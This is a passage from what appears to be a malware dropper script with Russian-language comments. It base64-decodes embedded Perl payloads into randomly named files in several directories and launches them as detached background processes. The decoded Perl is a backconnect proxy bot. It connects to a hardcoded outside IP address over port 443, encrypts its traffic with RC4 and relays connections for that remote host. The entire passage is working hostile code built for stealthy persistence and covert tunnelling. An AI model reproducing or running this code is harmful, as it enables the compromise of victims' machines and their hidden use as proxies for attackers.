cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #5 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #5 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 6 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) 